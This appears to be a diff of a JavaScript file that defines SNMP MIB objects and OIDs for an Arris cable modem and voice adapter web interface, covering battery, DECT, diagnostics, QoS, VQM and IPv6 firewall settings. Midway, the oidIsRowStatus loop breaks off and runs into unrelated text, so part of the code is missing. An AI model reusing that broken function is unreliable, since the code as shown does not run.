+pktcSigDevConfigObjects.DefCallSigTos = new Scalar("pktcSigDefCallSigTos", "1.3.6.1.4.1.4491.2.2.2.1.1.8",2); +pktcSigDevConfigObjects.DefMediaStreamTos = new Scalar("pktcSigDefMediaStreamTos", "1.3.6.1.4.1.4491.2.2.2.1.1.9",2); +var pktcSigDefCallSigTos = pktcSigDevConfigObjects.DefCallSigTos; +var pktcSigDefMediaStreamTos = pktcSigDevConfigObjects.DefMediaStreamTos; + +var pktcMtaDevRealmEntry = new Container("pktcMtaDevRealmEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1"); +pktcMtaDevRealmEntry.OrgName = new Scalar("pktcMtaDevRealmOrgName", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.4",4); +pktcMtaDevRealmEntry.PkinitGracePeriod = new Scalar("pktcMtaDevRealmPkinitGracePeriod ", "1.3.6.1.4.1.4491.2.2.1.1.3.16.1.2",2); +var pktcMtaDevRealmOrgName = pktcMtaDevRealmEntry.OrgName; +var pktcMtaDevRealmPkinitGracePeriod = pktcMtaDevRealmEntry.PkinitGracePeriod; + +var pktcMtaDevCmsEntry = new Container("pktcMtaDevCmsEntry", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1"); +pktcMtaDevCmsEntry.KerbRealmName = new Scalar("pktcMtaDevCmsKerbRealmName", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.2",4); +pktcMtaDevCmsEntry.SolicitedKeyTimeout = new Scalar("pktcMtaDevCmsSolicitedKeyTimeout", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.4",2); +pktcMtaDevCmsEntry.IpsecCtrl = new Scalar("pktcMtaDevCmsIpsecCtrl", "1.3.6.1.4.1.4491.2.2.1.1.3.17.1.10",2); +var pktcMtaDevCmsKerbRealmName = pktcMtaDevCmsEntry.KerbRealmName; +var pktcMtaDevCmsSolicitedKeyTimeout = pktcMtaDevCmsEntry.SolicitedKeyTimeout; +var pktcMtaDevCmsIpsecCtrl = pktcMtaDevCmsEntry.IpsecCtrl; + +var pktcNcsEndPntConfigEntry = new Container("pktcNcsEndPntConfigEntry", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1"); +pktcNcsEndPntConfigEntry.CallAgentId = new Scalar("pktcNcsEndPntConfigCallAgentId", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.1",4); +pktcNcsEndPntConfigEntry.CallAgentUdpPort = new Scalar("pktcNcsEndPntConfigCallAgentUdpPort", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.2",2); +pktcNcsEndPntConfigEntry.MWD = new Scalar("pktcNcsEndPntConfigMWD", "1.3.6.1.4.1.4491.2.2.2.1.2.1.1.18",2); +var pktcNcsEndPntConfigCallAgentId = pktcNcsEndPntConfigEntry.CallAgentId; +var pktcNcsEndPntConfigCallAgentUdpPort = pktcNcsEndPntConfigEntry.CallAgentUdpPort; +var pktcNcsEndPntConfigMWD = pktcNcsEndPntConfigEntry.MWD; + + +var docsDevEventTable = new Table("docsDevEventTable", "1.3.6.1.2.1.69.1.5.8"); +docsDevEventTable.EvFirstTime = new Column("docsDevEvFirstTime","1.3.6.1.2.1.69.1.5.8.1.2",4,1); +docsDevEventTable.EvLastTime = new Column("docsDevEvLastTime","1.3.6.1.2.1.69.1.5.8.1.3",4,1); +docsDevEventTable.EvText = new Column("docsDevEvText","1.3.6.1.2.1.69.1.5.8.1.7",4); +var docsDevEvFirstTime=docsDevEventTable.EvFirstTime; +var docsDevEvLastTime=docsDevEventTable.EvLastTime; +var docsDevEvText=docsDevEventTable.EvText; + + + +// + + +//battery + + +// +var upsBattery = new Container("upsBattery", "1.3.6.1.2.1.33.1.2"); +upsBattery.upsBatteryStatus = new Scalar("upsBatteryStatus", "1.3.6.1.2.1.33.1.2.1", 2); + +var MtaDevBatteryStatusTable = new Table("MtaDevBatteryStatusTable", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3"); +MtaDevBatteryStatusTable.MtaDevBatteryOperState = new Column("MtaDevBatteryOperState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.2", 2); +MtaDevBatteryStatusTable.MtaDevBatteryOperSubState = new Column("MtaDevBatteryOperSubState", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.4", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode = new Column("MtaDevBatteryOrderingCode", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.5", 4,1); +MtaDevBatteryStatusTable.MtaDevBatteryEprom = new Column("MtaDevBatteryEprom", "1.3.6.1.4.1.4115.1.3.3.1.3.5.3.1.6", 4,1); + +var MtaDevPwrSupplyStats = new Container("MtaDevPwrSupplyStats", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes = new Scalar("MtaDevPwrSupplyBatRatedMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.10", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes = new Scalar("MtaDevPwrSupplyBatAvailableMinutes", "1.3.6.1.4.1.4115.1.3.3.1.3.5.11", 2); +// scm ChengTa Lee x2 +MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity = new Scalar("MtaDevPwrSupplyRatedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.5", 2); +MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity = new Scalar("MtaDevPwrSupplyTestedBatCapacity", "1.3.6.1.4.1.4115.1.3.3.1.3.5.6", 2); +// scm ChengTa Lee +var MtaDevTrace = new Container("MtaDevTrace", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2"); +MtaDevTrace.MtaDevEstimatedMinutesRemaining = new Scalar("MtaDevEstimatedMinutesRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.44", 2); +MtaDevTrace.MtaDevEstimatedChargeRemaining = new Scalar("MtaDevEstimatedChargeRemaining", "1.3.6.1.4.1.4115.1.3.3.1.1.1.2.45", 2); +// scm ChengTa Lee x2 +var arrisMtaDevPwrSupplyRatedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyRatedBatCapacity; +var arrisMtaDevPwrSupplyTestedBatCapacity = MtaDevPwrSupplyStats.MtaDevPwrSupplyTestedBatCapacity; +var upsBatteryStatus = upsBattery.upsBatteryStatus; +var arMtaDevBatteryOperState = MtaDevBatteryStatusTable.MtaDevBatteryOperState; +var arMtaDevBatteryOperSubState = MtaDevBatteryStatusTable.MtaDevBatteryOperSubState; +var arMtaDevBatteryOrderingCode = MtaDevBatteryStatusTable.MtaDevBatteryOrderingCode; +var arMtaDevBatteryEprom = MtaDevBatteryStatusTable.MtaDevBatteryEprom; +var arMtaDevPwrSupplyBatRatedMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatRatedMinutes; +var arMtaDevPwrSupplyBatAvailableMinutes = MtaDevPwrSupplyStats.MtaDevPwrSupplyBatAvailableMinutes; +var arMtaDevEstimatedMinutesRemaining = MtaDevTrace.MtaDevEstimatedMinutesRemaining; +var arMtaDevEstimatedChargeRemaining = MtaDevTrace.MtaDevEstimatedChargeRemaining; + +var DectConfiguration = new Container("arrisDectConfiguration", "1.3.6.1.4.1.4115.1.3.13.1"); +DectConfiguration.DectBaseStatus = new Scalar("arrisDectBaseStatus","1.3.6.1.4.1.4115.1.3.13.1.1",4,1); +DectConfiguration.DectBaseDectModuleHwVersion = new Scalar("arrisDectBaseDectModuleHwVersion","1.3.6.1.4.1.4115.1.3.13.1.2",4); +DectConfiguration.DectCfgFwVersion = new Scalar("arrisDectCfgFwVersion","1.3.6.1.4.1.4115.1.3.13.1.7",4); + +DectConfiguration.DectBaseRFPI = new Scalar("arrisDectBaseRFPI","1.3.6.1.4.1.4115.1.3.13.1.3",4); +DectConfiguration.DectCfgRegistrationMode = new Scalar("arrisDectCfgRegistrationMode","1.3.6.1.4.1.4115.1.3.13.1.4",2); +DectConfiguration.DectCfgPortInterfaceIndex = new Scalar("arDectCfgPortInterfaceIndex","1.3.6.1.4.1.4115.1.3.13.1.11",2); +// scm add start x2 +DectConfiguration.DectCatiqOnOff = new Scalar("arDectCatiqOnOff","1.3.6.1.4.1.4115.1.3.13.1.10",2); +DectConfiguration.DectBasePin = new Scalar("arDectBasePin","1.3.6.1.4.1.4115.1.3.13.1.5",4); +var arDectCatiqOnOff=DectConfiguration.DectCatiqOnOff; +var arDectBasePin=DectConfiguration.DectBasePin; +// scm add end +var arDectBaseStatus=DectConfiguration.DectBaseStatus; +var arDectBaseDectModuleHwVersion=DectConfiguration.DectBaseDectModuleHwVersion; +var arDectCfgFwVersion=DectConfiguration.DectCfgFwVersion; +var arDectBaseRFPI=DectConfiguration.DectBaseRFPI; +var arDectCfgRegistrationMode=DectConfiguration.DectCfgRegistrationMode; +var arDectCfgPortInterfaceIndex=DectConfiguration.DectCfgPortInterfaceIndex; + +var pktcMdiMdiTable = new Table("pktcMdiMdiTable", "1.3.6.1.4.1.4491.2.2.8.6.1.1"); +pktcMdiMdiTable.MdiMdiName = new Column("pktcMdiMdiName","1.3.6.1.4.1.4491.2.2.8.6.1.1.1.2",4); +var pktcMdiMdiName = pktcMdiMdiTable.MdiMdiName; + +// scm table +var pktcMdiNslPortListTable = new Table("pktcMdiNslPortListTable", "1.3.6.1.4.1.4491.2.2.8.6.1.2"); +pktcMdiNslPortListTable.pktcMdiNslPortListIn = new Column("pktcMdiNslPortListIn", "1.3.6.1.4.1.4491.2.2.8.6.1.2.1.3", 4); +var arpktcMdiNslPortListIn = pktcMdiNslPortListTable.pktcMdiNslPortListIn; +// scm container +var DectCfgPinBase = new Container("DectCfgPinBase", "1.3.6.1.4.1.4115.1.3.13.1"); +DectCfgPinBase.DectCfgPinCode = new Scalar("DectCfgPinCode","1.3.6.1.4.1.4115.1.3.13.1.5",4,1); +var arDectCfgPinCode = DectCfgPinBase.DectCfgPinCode; + +var DectCfgHsTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.2"); +DectCfgHsTable.CfgHsRegisteredTn = new Column("arrisDectCfgHsRegisteredTn","1.3.6.1.4.1.4115.1.3.13.2.1.1",2); +DectCfgHsTable.CfgHsLastActivity = new Column("arrisDectCfgHsLastActivity","1.3.6.1.4.1.4115.1.3.13.2.1.2",2); +DectCfgHsTable.CfgHsDeregister = new Column("arrisDectCfgHsDeregister","1.3.6.1.4.1.4115.1.3.13.2.1.3",2); +DectCfgHsTable.CfgHsStatus = new Column("arrisDectCfgHsStatus","1.3.6.1.4.1.4115.1.3.13.2.1.4",2); +DectCfgHsTable.CfgHsName = new Column("arrisDectCfgHsName","1.3.6.1.4.1.4115.1.3.13.2.1.5",4); +var arDectCfgHsRegisteredTn = DectCfgHsTable.CfgHsRegisteredTn; +var arDectCfgHsLastActivity = DectCfgHsTable.CfgHsLastActivity; +var arDectCfgHsDeregister = DectCfgHsTable.CfgHsDeregister; +var arDectCfgHsStatus = DectCfgHsTable.CfgHsStatus; +var arDectCfgHsName = DectCfgHsTable.CfgHsName; + +var DectCfgMdiTable = new Table("arrisDectCfgHsTable", "1.3.6.1.4.1.4115.1.3.13.3"); +DectCfgMdiTable.DectCfgMdiToNsl = new Column("arrisDectCfgMdiToNsl","1.3.6.1.4.1.4115.1.3.13.3.1.1",66); +var arDectCfgMdiToNsl = DectCfgMdiTable.DectCfgMdiToNsl; + +var pktcDectPPTable = new Table("pktcDectPPTable", "1.3.6.1.4.1.4491.2.2.8.4.1.8"); +pktcDectPPTable.PPStatus = new Column("pktcDectPPStatus","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.4",2); +pktcDectPPTable.PPRegCtrl = new Column("pktcDectPPRegCtrl","1.3.6.1.4.1.4491.2.2.8.4.1.8.1.5",2); +var pktcDectPPStatus = pktcDectPPTable.PPStatus; +var pktcDectPPRegCtrl = pktcDectPPTable.PPRegCtrl; + +// +// MTA > Line Diagnostics +// +var MtaDevDiagLoopTable = new Table("MtaDevDiagLoopTable", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1"); +MtaDevDiagLoopTable.MtaDevDiagLoopRequest = new Column("MtaDevDiagLoopRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.3", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopLastResult = new Column("MtaDevDiagLoopLastResult", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.4", 2); +MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest = new Column("MtaDevDiagLoopHazardousPotentialTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.5", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest = new Column("MtaDevDiagLoopForeignEmfTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.6", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest = new Column("MtaDevDiagLoopResistiveFaultsTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.7", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest = new Column("MtaDevDiagLoopReceiverOffHookTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.8", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest = new Column("MtaDevDiagLoopRingerTest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.9", 4); +MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest = new Column("MtaDevDiagLoopForceRequest", "1.3.6.1.4.1.4115.1.3.3.1.2.3.15.1.1.10", 2); +var arMtaDevDiagLoopRequest = MtaDevDiagLoopTable.MtaDevDiagLoopRequest; +var arMtaDevDiagLoopLastResult = MtaDevDiagLoopTable.MtaDevDiagLoopLastResult; +var arMtaDevDiagLoopHazardousPotentialTest = MtaDevDiagLoopTable.MtaDevDiagLoopHazardousPotentialTest; +var arMtaDevDiagLoopForeignEmfTest = MtaDevDiagLoopTable.MtaDevDiagLoopForeignEmfTest; +var arMtaDevDiagLoopResistiveFaultsTest = MtaDevDiagLoopTable.MtaDevDiagLoopResistiveFaultsTest; +var arMtaDevDiagLoopReceiverOffHookTest = MtaDevDiagLoopTable.MtaDevDiagLoopReceiverOffHookTest; +var arMtaDevDiagLoopRingerTest = MtaDevDiagLoopTable.MtaDevDiagLoopRingerTest; +var arMtaDevDiagLoopForceRequest = MtaDevDiagLoopTable.MtaDevDiagLoopForceRequest; + + +// +// MTA > Service Flow +// +var docsQosServiceFlowTable = new Table("docsQosServiceFlowTable", "1.3.6.1.4.1.4491.2.1.21.1.3"); +//docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.2.1.10.127.7.1.3.1.6", 66); +//docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.2.1.10.127.7.1.3.1.7", 2); +docsQosServiceFlowTable.SID = new Column("docsQosServiceFlowSID", "1.3.6.1.4.1.4491.2.1.21.1.3.1.6", 66); +docsQosServiceFlowTable.Direction = new Column("docsQosServiceFlowDirection", "1.3.6.1.4.1.4491.2.1.21.1.3.1.7", 2); +var docsQosServiceFlowSID = docsQosServiceFlowTable.SID; +var docsQosServiceFlowDirection = docsQosServiceFlowTable.Direction; + +var docsQosParamSetTable = new Table("docsQosParamSetTable", "1.3.6.1.4.1.4491.2.1.21.1.2"); +//docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.2.1.10.127.7.1.2.1.13", 2); +//docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.2.1.10.127.7.1.2.1.18", 66); +//docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.2.1.10.127.7.1.2.1.17", 2); +//docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.2.1.10.127.7.1.2.1.19", 66); +//docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.2.1.10.127.7.1.2.1.15", 66); +//docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.2.1.10.127.7.1.2.1.9", 2); +//docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.2.1.10.127.7.1.2.1.6", 66); +//docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.2.1.10.127.7.1.2.1.8", 66); +//docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.2.1.10.127.7.1.2.1.7", 66); +docsQosParamSetTable.SchedulingType = new Column("docsQosParamSetSchedulingType", "1.3.6.1.4.1.4491.2.1.21.1.2.1.13", 2); +docsQosParamSetTable.NomGrantInterval = new Column("docsQosParamSetNomGrantInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.17", 66); +docsQosParamSetTable.UnsolicitGrantSize = new Column("docsQosParamSetUnsolicitGrantSize", "1.3.6.1.4.1.4491.2.1.21.1.2.1.16", 2); +docsQosParamSetTable.TolGrantJitter = new Column("docsQosParamSetTolGrantJitter", "1.3.6.1.4.1.4491.2.1.21.1.2.1.18", 66); +docsQosParamSetTable.NomPollInterval = new Column("docsQosParamSetNomPollInterval", "1.3.6.1.4.1.4491.2.1.21.1.2.1.14", 66); +docsQosParamSetTable.MinReservedPkt = new Column("docsQosParamSetMinReservedPkt", "1.3.6.1.4.1.4491.2.1.21.1.2.1.9", 2); +docsQosParamSetTable.MaxTrafficRate = new Column("docsQosParamSetMaxTrafficRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.6", 66); +docsQosParamSetTable.MinReservedRate = new Column("docsQosParamSetMinReservedRate", "1.3.6.1.4.1.4491.2.1.21.1.2.1.8", 66); +docsQosParamSetTable.MaxTrafficBurst = new Column("docsQosParamSetMaxTrafficBurst", "1.3.6.1.4.1.4491.2.1.21.1.2.1.7", 66); +var docsQosParamSetSchedulingType = docsQosParamSetTable.SchedulingType; +var docsQosParamSetNomGrantInterval = docsQosParamSetTable.NomGrantInterval; +var docsQosParamSetUnsolicitGrantSize = docsQosParamSetTable.UnsolicitGrantSize; +var docsQosParamSetTolGrantJitter = docsQosParamSetTable.TolGrantJitter; +var docsQosParamSetNomPollInterval = docsQosParamSetTable.NomPollInterval; +var docsQosParamSetMinReservedPkt = docsQosParamSetTable.MinReservedPkt; +var docsQosParamSetMaxTrafficRate = docsQosParamSetTable.MaxTrafficRate; +var docsQosParamSetMinReservedRate = docsQosParamSetTable.MinReservedRate; +var docsQosParamSetMaxTrafficBurst = docsQosParamSetTable.MaxTrafficBurst; + + +// +// CallP / QoS +// +var MtaDevLineCardTable = new Table("MtaDevLineCardTable", "1.3.6.1.4.1.4115.1.3.3.1.4.1"); +MtaDevLineCardTable.State = new Column("MtaDevLineCardState", "1.3.6.1.4.1.4115.1.3.3.1.4.1.1.2", 2); +var arMtaDevLineCardState = MtaDevLineCardTable.State; + +var ppCfgPortTable = new Table("ppCfgPortTable", "1.3.6.1.4.1.4115.10.1.1"); +ppCfgPortTable.LoopCurrent = new Column("ppCfgPortLoopCurrent", "1.3.6.1.4.1.4115.10.1.1.1.6", 2); +var ppCfgPortLoopCurrent = ppCfgPortTable.LoopCurrent; + +var MtaDevOperationalSetup = new Container("MtaDevOperationalSetup", "1.3.6.1.4.1.4115.1.3.3.1.2.3"); +MtaDevOperationalSetup.EnableMGCPLog = new Scalar("MtaDevOperationalSetupEnableMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.34", 2); +MtaDevOperationalSetup.ClearMGCPLog = new Scalar("MtaDevOperationalSetupClearMGCPLog", "1.3.6.1.4.1.4115.1.3.3.1.2.3.36", 2); +var arMtaDevOperationalSetupEnableMGCPLog = MtaDevOperationalSetup.EnableMGCPLog; +var arMtaDevOperationalSetupClearMGCPLog = MtaDevOperationalSetup.ClearMGCPLog; + +var MtaDevEndPnt = new Table("MtaDevEndPnt", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3"); +MtaDevEndPnt.CallPState = new Column("MtaDevEndPntCallPState", "1.3.6.1.4.1.4115.1.3.3.1.2.4.3.1.37", 2); +var arMtaDevEndPntCallPState = MtaDevEndPnt.CallPState; + +var MtaDispSignal = new Table("MtaDispSignal", "1.3.6.1.4.1.4115.1.3.3.1.5.1"); +MtaDispSignal.Log = new Column("MtaDispSignalLog", "1.3.6.1.4.1.4115.1.3.3.1.5.1.1.2", 4); +var arMtaDispSignalLog = MtaDispSignal.Log; + +var MtadocsQosService = new Table("MtadocsQosService", "1.3.6.1.4.1.4115.1.3.3.1.6.1"); +MtadocsQosService.FlowID = new Column("MtadocsQosServiceFlowID", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.2", 2); +MtadocsQosService.ClassName = new Column("MtadocsQosServiceClassName", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.3", 4); +MtadocsQosService.FlowDirection = new Column("MtadocsQosServiceFlowDirection", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.4", 4); +MtadocsQosService.PrimaryFlow = new Column("MtadocsQosServicePrimaryFlow", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.5", 4); +MtadocsQosService.TrafficType = new Column("MtadocsQosServiceTrafficType", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.6", 4); +MtadocsQosService.ServicePackets = new Column("MtadocsQosServiceServicePackets", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.7", 2); +var arMtadocsQosServiceFlowID = MtadocsQosService.FlowID; +var arMtadocsQosServiceClassName = MtadocsQosService.ClassName; +var arMtadocsQosServiceFlowDirection = MtadocsQosService.FlowDirection; +var arMtadocsQosServicePrimaryFlow = MtadocsQosService.PrimaryFlow; +var arMtadocsQosServiceTrafficType = MtadocsQosService.TrafficType; +var arMtadocsQosServiceServicePackets = MtadocsQosService.ServicePackets; + +var MtadocsQosShowDsxLog = new Table("MtadocsQosShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4"); +MtadocsQosShowDsxLog.ShowDsxLog = new Column("MtadocsQosShowDsxLogShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4.1.2", 4); +var arMtadocsQosShowDsxLogShowDsxLog = MtadocsQosShowDsxLog.ShowDsxLog; + +var MtadocsQosServiceContainer = new Container("MtadocsQosServiceContainer", "1.3.6.1.4.1.4115.1.3.3.1.6"); +MtadocsQosServiceContainer.DisableLoggin = new Scalar("MtadocsQosServiceContainerDisableLoggin", "1.3.6.1.4.1.4115.1.3.3.1.6.2", 2); +MtadocsQosServiceContainer.LogClear = new Scalar("MtadocsQosServiceContainerLogClear", "1.3.6.1.4.1.4115.1.3.3.1.6.3", 2); +var arMtadocsQosServiceContainerDisableLoggin = MtadocsQosServiceContainer.DisableLoggin; +var arMtadocsQosServiceContainerLogClear = MtadocsQosServiceContainer.LogClear; + + +// +// VQM +// +var MtaDevVqm = new Container("MtaDevVqm", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4"); +MtaDevVqm.Line = new Scalar("MtaDevVqmLine", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.1", 2); +MtaDevVqm.Clear = new Scalar("MtaDevVqmClear", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.2", 2); +MtaDevVqm.CallNumberIdentifier = new Scalar("MtaDevVqmCallNumberIdentifier", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.5", 2); +var arMtaDevVqmLine = MtaDevVqm.Line; +var arMtaDevVqmClear = MtaDevVqm.Clear; +var arMtaDevVqmCallNumberIdentifier = MtaDevVqm.CallNumberIdentifier; + +var MtaDevVqmCallNumberTable = new Table("MtaDevVqmCallNumberTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4"); +MtaDevVqmCallNumberTable.CallNumberIds = new Column("MtaDevVqmCallNumberIds", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4.1.2", 4); +var arMtaDevVqmCallNumberIds = MtaDevVqmCallNumberTable.CallNumberIds; + +var MtaDevVqmMetricTable = new Table("MtaDevVqmMetricTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6"); +MtaDevVqmMetricTable.MtaDevVqmMetricValues = new Column("MtaDevVqmMetricValues", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6.1.2", 4); +var arMtaDevVqmMetricValues = MtaDevVqmMetricTable.MtaDevVqmMetricValues; + +//software.php +var CmDoc30EsaftFWTable = new Table("CmDoc30EsaftFWTable", "1.3.6.1.4.1.4115.1.3.4.1.6.1.1"); +CmDoc30EsaftFWTable.FwCurrentFileName = new Column("FwCurrentFileName","1.3.6.1.4.1.4115.1.3.4.1.6.1.1.1.8",4); +var arFwCurrentFileName=CmDoc30EsaftFWTable.FwCurrentFileName; + + +if (window["preWalk"]) { + var foo = []; + _.each(container, function(v) { + foo.push(window[v.name]); + }); + _.each(table, function(v) { + foo.push(window[v.name]); + }); + load.apply(this, foo); +} + + +function dumpInC() { + function dumpOneInC(o) { + $.log("\"" + o.oid + ".\",\"" + o.name + "\","); + } + + _.each(container, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + _.each(table, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + +} + +var rowStatusCols = [ + arWanStaticDNSRowStatus, + arLanDNSRowStatus, + arLanClientRowStatus, + arDeviceUpDownStatus, + arLanCustomRowStatus, + arWEP64BitKeyStatus, + arWEP128BitKeyStatus, + arMACAccessStatus, + arWDSBridgeStatus, + arFWVirtSrvRowStatus, + arFWIPFilterRowStatus, + arFWMACFilterRowStatus, + arFWPortTrigRowStatus, + arKeywordBlkStatus, + arBlackListStatus, + arWhiteListStatus, + arTrustedDeviceStatus, + arSNTPServerStatus, + arLanStaticClientRowStatus + //, arWebAccessRowStatus not needed since we don't create and I have seen some problems + // arWebAccessRowStatus +]; + +function oidIsRowStatus(oid) { + for (var i=0; i IPv6 ChengDa Lee + + + + + + +var FWCfgv6 = new Container("FWCfgv6", "1.3.6.1.4.1.4115.1.20.1.1.4.40"); +/*FWCfgv6.FWv6Enabled= new Scalar("FWv6Enabled","1.3.6.1.4.1.4115.1.20.1.1.459.1",2); +FWCfgv6.FWv6SecurityLevel= new Scalar("FWv6SecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.459.9",2); +FWCfgv6.FWv6ResetDefaults= new Scalar("FWv6ResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.459.22",2); +FWCfgv6.FWv6BlockHTTP= new Scalar("FWv6BlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.459.23",2); +FWCfgv6.FWv6BlockP2P= new Scalar("FWv6BlockP2P","1.3.6.1.4.1.4115.1.20.1.1.459.24",2); +FWCfgv6.FWv6BlockIdent= new Scalar("FWv6BlockIdent","1.3.6.1.4.1.4115.1.20.1.1.459.25",2); +FWCfgv6.FWv6BlockICMP= new Scalar("FWv6BlockICMP","1.3.6.1.4.1.4115.1.20.1.1.459.26",2); +FWCfgv6.FWv6BlockMulticast= new Scalar("FWv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.459.27",2); +*/ +/*var arFWv6Enabled=FWCfgv6.FWv6Enabled; +var arFWv6SecurityLevel=FWCfgv6.FWv6SecurityLevel; +var arFWv6ResetDefaults=FWCfgv6.FWv6ResetDefaults; +var arFWv6BlockHTTP=FWCfgv6.FWv6BlockHTTP; +var arFWv6BlockP2P=FWCfgv6.FWv6BlockP2P; +var arFWv6BlockIdent=FWCfgv6.FWv6BlockIdent; +var arFWv6BlockICMP=FWCfgv6.FWv6BlockICMP; +var arrisRouterFWIPv6Enable=FWCfgv6.FWv6BlockMulticast; +*/ +FWCfgv6.FWIPv6SecurityLevel = new Scalar("FWIPv6SecurityLevel", "1.3.6.1.4.1.4115.1.20.1.1.4.40.1", 2); +FWCfgv6.FWIPv6BlockHTTP = new Scalar("FWIPv6BlockHTTP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.2", 2); +FWCfgv6.FWIPv6BlockICMP = new Scalar("FWIPv6BlockICMP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.3", 2); +FWCfgv6.FWIPv6BlockMulticast = new Scalar("FWIPv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.40.4", 2); +FWCfgv6.FWIPv6BlockP2P = new Scalar("FWIPv6BlockP2P", "1.3.6.1.4.1.4115.1.20.1.1.4.40.5", 2); +FWCfgv6.FWIPv6BlockIDENT = new Scalar("FWIPv6BlockIDENT", "1.3.6.1.4.1.4115.1.20.1.1.4.40.6", 2); +FWCfgv6.FWIPv6Enable = new Scalar("FWIPv6Enable", "1.3.6.1.4.1.4115.1.20.1.1.4.40.7", 2); +FWCfgv6.FWIPv6ResetDefaults = new Scalar("FWIPv6ResetDefaults", "1.3.6.1.4.1.4115.1.20.1.1.4.40.8", 2); + +var arrisRouterFWIPv6SecurityLevel =FWCfgv6.FWIPv6SecurityLevel; +var arrisRouterFWIPv6BlockHTTP =FWCfgv6.FWIPv6BlockHTTP ; +var arrisRouterFWIPv6BlockICMP =FWCfgv6.FWIPv6BlockICMP ; +var arrisRouterFWIPv6BlockMulticast =FWCfgv6.FWIPv6BlockMulticast ; +var arrisRouterFWIPv6BlockP2P =FWCfgv6.FWIPv6BlockP2P ; +var arrisRouterFWIPv6BlockIDENT =FWCfgv6.FWIPv6BlockIDENT ; +var arrisRouterFWIPv6Enable =FWCfgv6.FWIPv6Enable ; +var arrisRouterFWIPv6ResetDefaults =FWCfgv6.FWIPv6ResetDefaults ; + +//Software +var 